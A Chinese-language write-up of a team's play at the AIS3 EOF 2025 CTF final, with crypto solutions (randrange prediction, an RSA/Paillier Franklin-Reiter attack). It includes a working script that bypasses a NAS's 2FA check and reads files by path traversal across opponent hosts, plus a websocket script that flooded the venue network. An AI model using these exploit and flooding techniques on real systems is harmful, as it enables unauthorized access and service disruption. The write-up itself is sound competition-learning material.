AIS3 EOF FINAL 2025 Write Up

Before all

Team: CakeisTheFake
Rank: 2
同時也拿了個炸彈超人獎,後續會講為什麼

第二年打 EOF,只能說感覺起來自己能力確實成長不少,相比於去年矇懂的狀態真的好上許多 XD
但還是太菜了,後門被 Ching 笑 QQ
感謝我的隊友 @Flydragon @Aukro @Naup 還有臨時拉來的 @Afan @Chisheng Chen 一起打這場盛事

image
蛋糕的勝利🥳

Infra

賽前我準備了 Destructive Farm 當 Attack Manager,但開賽後發現好像土炮 while 迴圈交 flag 就好…
另外就是透過 JumpBox 主機跳進比賽內網,開 openvpn 串網路出去
安裝連結們
Destructive Farm (LINK)
OpenVPN (LINK)
但我顯然不是一個好的賽博水管工,本來沒什麼問題 但開賽後有隊友要 RDP 回家才能連 VPN …

Day 1

這次的賽程很特別,有 A&D, KoH 和 Jeopardy
恩,對,你沒看錯,決賽打 Jeopardy,甚至三題有兩題Crypto
快速介紹一下一開始出來的兩個KoH好了:
3. Bombe:
HITCON 的時候奧義就有出的 EDR V.S. Malware 的病毒對決,各個隊伍都要上自己的防毒 & 病毒。其中病毒要完成開檔案,讀取記憶體和連線的功能;防毒則是抓出病毒檔案就好
4. Game:
一款迷宮走路遊戲,可以用未知的方法開寶箱,攻擊對手等,但一開始連方向鍵都是壞的…
image

5, 6, 7 都是 Jeopardy 我們覺得不急迫就留著當回家作業了

一開始只有 Game 是好的,所以我就先看了 Game,摸索了一陣隊友們好像沒逆出東西就先去看封包了:
最初是本地開 WireShark,但…我們忘記有VPN這東西所以流量被加密過,所以最後我是跳去 Jump Box 錄製
image
登入流程是:發送 Login 訊息 => Server 回傳 helloworld => 發送 Login 訊息 => 驗證
為什麼同樣的東西要發兩次啊
其他資料都好大坨,所以嚴格來說只有分析到走路的封包
image

不過好消息是:走路也可以拿分數,於是就開始了兩天走路之旅~
恩,對,一路到第二天我們都還是靠著(開一坨 Process)走路分領先,但不小心炸了會場 90% 的流量 … (抱歉)
walker.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import asyncio
import websockets
import json
from random import randrange
from tqdm import trange
import time

async def login(websocket, token):
login_message = {
"type": "login",
"data": {"token": token}
}
await websocket.send(json.dumps(login_message))
print("Login sent once")

await websocket.send(json.dumps(login_message))
print("Login sent twice")

async def send_move_data(websocket, direct):
datas = {'u': [0, -1], 'd': [0, 1], 'r': [1, 0], 'l': [-1, 0]}
for d in datas:
move_message = {
"type": "move",
"data": {
"vec": [randrange(-1, 1), randrange(-1, 1)],
"facing": [randrange(-1, 1), randrange(-1, 1)]
}
}
time.sleep(0.05)
await websocket.send(json.dumps(move_message))
print("Move message sent")

async def receive_data(websocket):
while True:
try:
response = await websocket.recv()
print(f"Raw response received: {response[:1000]}")

if len(response) > 0:
if response[0] == 0x81:
opcode = response[0] & 0x0F
length = response[1] & 0x7F

if length == 0x7F:
length = int.from_bytes(response[2:10], 'big')
payload = response[10:]
elif length == 0x7E:
length = int.from_bytes(response[2:4], 'big')
payload = response[4:]
else:
payload = response[2:]

try:
data = payload.decode('utf-8')
print(f"Received data: {data}")
try:
json_data = json.loads(data)
print(f"JSON data received: {json_data}")
except json.JSONDecodeError:
print(f"Non-JSON data: {data}")
except UnicodeDecodeError:
print("Failed to decode payload to UTF-8.")
else:
print("Received empty response.")

except Exception as e:
print(f"Error receiving data: {e}")
break

async def create_websocket_connection(uri, token):
async with websockets.connect(uri, max_size=10 * 1024 * 1024) as websocket:
asyncio.create_task(receive_data(websocket))

await login(websocket, token)

await asyncio.sleep(2)

for i in trange(5000):
await send_move_data(websocket, 'u')

print("Login requests completed.")

async def main():
uri = "ws://10.102.100.20:8440"
token = "298956eca545bc623493bac595eb72e1"

tasks = []
for _ in range(10):
task = create_websocket_connection(uri, token)
tasks.append(task)

await asyncio.gather(*tasks)

if __name__ == "__main__":
asyncio.run(main())

這就是我們得特別獎的理由 (紫色是我們的流量🫠)
image

image

Bmobe 的話大家第一天都在適應,甚至最厲害的 EDR 就是偵測檔案裏有沒有flag1的字樣,而病毒就是用字串加法混一混檔案而已…
其他就是攻防 A&D 的題目第一天後續也有上,不過比較虧的是當下前三名看不到封包

Day1 晚上 ~ Day2 一開始的 Crypto 之旅

這次 Jeopardy 分數是從 1500 ~ 5000 分動態調分,以比賽最後的分數呈現來講一題 Jeopardy 甚至會抵掉一到兩個 A&D or KoH 的分數…,可以說 Jeopardy 定生死

先上個 Maple 說的話:
image

我真的信了,甚至一開始還戳到比較難的那題當簡單題

zkdlp

chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from Crypto.Util.number import bytes_to_long
from hashlib import shake_128
import os, random

p = 0x2CDE2997126F706BD27498A9FA07E93F321B4932982BC455910FF694160DB5484257D0886EC66E5D7BE59ECFD16AAFF6B5BD57E600FAB97E7CF75D76A7F12BC4619A036ED8787F4508CC7C1FB35689575E007B7DC6B1EECC4B9BC2E91AA31FBE027C62BFF3E2065912591ECC1C361CEEAE75B382F1BD7D967633FD91476A3ABC4AD22CD3372C3FC40C2841B3BC70DAC11E3A6631AB3BE49AB9F748AE9093FBAB15B5457244363F444D146C0ADE84CC1AB0D0CFB2AD329483E957235EDD0085BD2F5CDAFCD77D00622A9DFCD3C0098DCB42C7EF1DEE808E8216F0F0638F51D26614B0C61352A13565098FE60146FF7E46FAEBCB75629DAF517880E36AEEE617B9F
q = (p - 1) // 2
g = 2
assert pow(g, q, p) == 1


def main():
flag = os.environ.get("FLAG", "flag{fake_flag}")
hflag = shake_128(flag.encode()).digest(q.bit_length() // 8)
x = bytes_to_long(hflag)
y = pow(g, x, p)

print("Do you know the flag?")
print(f"{y = }")

wins = 0
while wins < 10:
t = int(input("t = ")) % p
if t == 0:
print("Nope")
return
c = random.randrange(q)
print(f"{c = }")
s = int(input("s = ")) % q
if pow(g, s, p) == t * pow(y, c, p) % p:
print("Hmm, you probably know the flag!")
wins += 1
else:
print("No, you don't know the flag :(")
wins = 0

print("Okay, I am finally convinced that you know the flag:")
print(flag)


if __name__ == "__main__":
main()

整個zkp的邏輯其實沒什麼問題,有問題的會是 random,如果可預測那一開始 t 塞一個 pow(y, c, p)的模逆元,最後 s 大膽輸入 0 就好
翻一下 randrange 的實做就知道他r就是 getrandbits,然後把太大的數丟掉再生一次,而 getrandbits 眾所周知的可預測…嗎?
不,因為今天 q 的大小是 2049 bits,所以不能用一般 32 bits 一組的思維去想,有很多未知項
一開始我的思路是申請十組(極限,因為要有 32*624 bits 的資料),然後賭他跟 getrandbits 一樣,差不多 30, 40 次會有一次是這樣,加上隊友 @Chisheng Chen 說他以前用 z3+塞未知項(32 bits 一組下被丟掉的內容)去打就能過,就把複雜的摳腳本任務給他了
但最後好像出了點問題(SAT Solver 取到一組就會停),反正我們最後是直接申請 30 組,然後把每個中間間格(被丟掉)的 bits 當未知數一起塞給 z3 去處理,差不多每五次會有一次對,挺 feasible
先不上腳本…過於混亂 但…過了 :D

prsa

prsa.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from Crypto.Util.number import getPrime, getRandomRange, bytes_to_long
import os


def keygen(sz):
p = getPrime(sz // 2)
q = getPrime(sz // 2)
n = p * q
phi = (p - 1) * (q - 1)
e = 0x10001
d = pow(e, -1, phi)
g = 1 + n
mu = pow(phi, -1, n)
pk = (n, e, g)
sk = (n, d, phi, mu)
return pk, sk


def rsa_encrypt(pk, m):
n, e, g = pk
return pow(m, e, n)


def rsa_decrypt(sk, c):
n, d, phi, mu = sk
return pow(c, d, n)


def paillier_encrypt(pk, m):
n, e, g = pk
r = getRandomRange(1, n)
n2 = n * n
# pow(g, m, n2) == (m * n + 1) % (n * n)
return (pow(g, m, n2) * pow(r, n, n2)) % n2


def paillier_decrypt(sk, c):
n, d, phi, mu = sk
cl = pow(c, phi, n * n)
return ((cl - 1) // n) * mu % n


def rsa_to_paillier(pk, sk, c):
return paillier_encrypt(pk, rsa_decrypt(sk, c))


def paillier_to_rsa(pk, sk, c):
return rsa_encrypt(pk, paillier_decrypt(sk, c))


def pad(m, ln):
pad_ln = ln - len(m)
pre = pad_ln // 2
post = pad_ln - pre
return os.urandom(pre) + m + os.urandom(post)


def main():
pk, sk = keygen(1024)

flag = os.environ.get("FLAG", "flag{fake_flag}")
m = bytes_to_long(pad(flag.encode(), 1024 // 8 - 1))
c = rsa_encrypt(pk, m)

print("RSA Encrypted Flag:")
print(f"{c = }")

for _ in range(48763):
print("1. RSA to Paillier")
print("2. Paillier to RSA")
print("3. Exit")
choice = int(input("> "))
if choice == 1:
c = int(input("c = "))
c = rsa_to_paillier(pk, sk, c)
print(f"{c = }")
elif choice == 2:
c = int(input("c = "))
c = paillier_to_rsa(pk, sk, c)
print(f"{c = }")
elif choice == 3:
break
else:
print("Invalid choice")


if __name__ == "__main__":
main()

一個 Pailler 同態加密和 RSA 互換的服務,共用公、私鑰
幾個步驟:

  1. leak N:注意到把 paillier_to_rsarsa_to_paillier 的過程結合在一起能選定任意大於 N 的密文,再重新被 RSA 解密、加密後的值,而這兩個值 mod N 會一樣,也就是他們相減其實是 N 的倍數。
  2. 獲得 N 之後就能開始想下一步,注意到 Pailler 加密的特性:
    兩個密文相乘進去解密,最後取得的明文是兩者本來的明文相加,推推算式就知道,簡單說是因為 Pailler 對待密文的方法是拿去當指數,$c^m \times c^n=c^{n+m}$
    利用這個特性結合兩個服務,就能 leak flag + 任意數字 RSA 加密後的結果了
  3. Franklin-Reiter Attack:任意相加當然就是它,唯一的點是 e 太大,保險起見要多取幾組轉成多項式後做 Half GCD

前面過於混亂,放主算法:
Half GCD 講解
實作參考:https://github.com/rkm0959/Implementations/blob/main/Half_GCD/code.sage

初始 statements 就是 flag-0 ~ flag-9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x**m)
b_top, b_bot = b.quo_rem(x**m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x**(m // 2))
e_top, e_bot = e.quo_rem(x**(m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11

def GCD(a, b):
print(a.degree(), b.degree())
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)

P = PolynomialRing(Zmod(n), names=('x',)); (x,) = P._first_ngens(1)

statements = [(x + i)**e - j for i, j in statements]

k = statements[0]

for i, st in enumerate(statements[1:]):
print(i)
k = GCD(st, k)

# print(k)
k = k.monic()
flag = -k[0]

# for i in
print(flag)
print(long_to_bytes(int(flag)))
# print(statements[0])

基本上就是這樣,然後我一路到三點才睡覺…(但 已經是最早睡的了)

半夜作業局.jpg

image

Day 2

這次的 A&D 有兩題,一個筆電電商和一個 NAS
電商:https://github.com/users/Bogay/packages/container/package/aiscop3
image

電商一開始幾乎是黑箱,但 Dockerfile 載一下就有 ✅

是不是在偷臭啊,裡面甚至有個叫做 excel-pay 的執行檔
反正第二天就先藏 Jeopardy 的 flag,讓自己的排名摔出前三才能看封包,一開始可能是網路 issue 甚至連 NAS 的 ip 都沒掃出來…
比較有趣的是這次的 Patch,電商只能 Patch LUA 寫成的 WAF,我看大家都沒 Patch,然後 NAS 可能是洞太多所以兩招 LFI + CMDI 就能打天下…大家也都不 Patch 惹
快速帶一下 NAS 登入繞過 2FA 的部分:
app.php

1
2
3
4
5
6
7
8
if (!isset($_SESSION['username'])) {
header('Location: login.php');
die();
} else if (($_SESSION['TWOFA'] <=> 0) < 0) {
// negative => TWOFA not passed
header('Location: 2fa.php');
die();
}

無效 2FA,三一律一定都能過 …
驗證繞過後就是開心讀檔:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import requests
import subprocess
import re
import requests
import json

def attack(host):
url = f'http://{host}:5000/login.php'

boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'

headers = {
'Content-Type': f'multipart/form-data; boundary={boundary}'
}

data = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="username"\r\n\r\n'
f'user\r\n'
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="password"\r\n\r\n'
f'user\r\n'
f'--{boundary}--\r\n'
)

sess = requests.session()
try:
response = sess.post(url, headers=headers, data=data, timeout=5)
except Exception as e:
print(f"[*] Team {i} failed")
return ' '
response = sess.get(f'http://{host}:5000/app.php?app=files/download&volume=public&dir=../../../..&file=fl4g', timeout=5)
print(response.text)
return response.text


target_url = "http://35.221.181.38:8888/flag/"
token = "298956eca545bc623493bac595eb72e1"

for i in range(1, 13):
host=f"10.102.{i}.60"
print(i)
if i == 4:
continue

stdout_data = attack(host)
pattern = r"EOF[a-zA-Z0-9]{29}"

match = re.search(pattern, stdout_data)

if match:
flag = match.group(0)
print(f"Found Flag: {flag}", flush=True)

payload = {
"flags": [flag],
"token": token
}

response = requests.post(target_url, json=payload)

print(response.text)
if response.status_code == 200:
print(f"Flag Submitted: {target_url}")
else:
print(f"Submit Failed: {response.status_code}")
else:
print("Not Found Flag QwQ")

最後幾件事:
3. Game 其實是要用自己當下有的道具的 Byte 組合出 ARM 組語完成任務來取得分數
4. Jeopardy 最後一題 pwn 要 SQLI,改變大小 Overlapping 打 Tcache Poisoning,其實我有通靈出來但, @ Aukro 當下逆好像沒看到能這樣利用的點?!

午餐
image

晚餐
image

After all

這次比賽比想像中肝,但好像也蠻愜意??
再次寫寫各位隊友和用心的主辦方 我玩得很開心!
順便帶走一件 DEFCON 衣服當獎品 w,不知道之後打不打的到…加油加油!
最後分數版, Crypto 和散步大成功
image